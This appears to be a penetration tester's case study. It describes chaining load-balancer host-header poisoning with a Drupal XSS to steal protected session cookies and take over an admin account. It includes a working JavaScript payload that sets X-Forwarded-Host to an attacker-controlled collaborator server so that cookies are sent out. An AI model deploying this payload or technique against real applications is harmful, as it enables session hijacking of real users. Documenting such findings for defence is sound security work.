In this article, we will explore a real-world scenario involving the exploitation of a load balancer vulnerability and cross-site scripting (XSS) to hijack cookies in an application. While specific names and screenshots will be omitted due to non-disclosure agreements (NDAs), we will examine the attack flow and its implications. By chaining the load balancer’s host-header poisoning vulnerability with an XSS attack, the attacker was able to bypass cookie protection mechanisms and gain unauthorized access to sensitive information. This case study serves as a reminder of the critical importance of addressing and mitigating such vulnerabilities to safeguard applications and user data.

From a Black-Box perspective, the application’s interaction flow can be summarized as follows.

1. The user requests the application.
2. The load balancer sends the cookie to the authz server.
3. If the cookie is valid, the Load Balancer forwards the request to the application instance and returns the response.
4. If the cookie is invalid, a 403 Forbidden or 302 redirects to the login provider is returned to the user.

During testing, a load balancer vulnerability was discovered, allowing the injection of a Host-Header. By injecting a custom X-Forwarded-Host header, the attacker could confuse the load balancer’s cookie check and make it forward cookies to their own server instead of the authz server.

Here is an example.
Injecting a X-Forwarded-Host to a request. In this case, this was Burp Collaborator Server.

This injection causes the load balancer to forward cookies not to the legit authz server, but to the collaborator server instead.

So when injecting a malicious Host header the flow changes to this:

Proceeding with testing the application an XSS vulnerability was found. However, the cookies were protected with security flags, making it difficult to directly hijack an admin session.
But why care about flags if the XSS could be used to perform host-header poisoning and force the load balancer to send all the cookies?

So the next payload was constructed:

function httpGet(Url)
{
 var xmlHttp = new XMLHttpRequest(); // Create a new XMLHttpRequest object
 xmlHttp.open( “GET”, Url, false ); // Initialize the request 
 **xmlHttp.setRequestHeader(“X-Forwarded-Host”, “https://collaborator-server.com"); // Set a custom HTTP header (X-Forwarded-Host) pointing to collaborator server**
 xmlHttp.send( null ); // Send the request
 return xmlHttp.responseText; 
}
httpGet(“https://vulnerableapp.host/"); // Run payload

Maybe you are questioning how it will work if the cookies were protected with security flags.
It was a discovery, that cookies will be automatically appended to the request when initiating an XMLHttpRequest within the same domain.

The XSS itself was pretty much usual — Drupal CKEditor XSS. Some obfuscating needed to be done
due to the filters, though nothing extraordinary.

The attack proceeded as follows:

1. A user visits a page containing the XSS payload.
2. The XSS payload executes in the user’s browser, triggering a GET request to a page on the current domain.
3. The request includes the X-Forwarded-Host header, leading to Host-Header poisoning.
4. The load balancer, now confused by the injected Host-Header, sends the cookies to the attacker’s collaborator server.

By combining the load balancer vulnerability and the XSS attack it was possible to bypass cookie protection mechanisms and gain unauthorized access to the admin account.
This article emphasizes the importance of addressing load balancer vulnerabilities to prevent such attacks.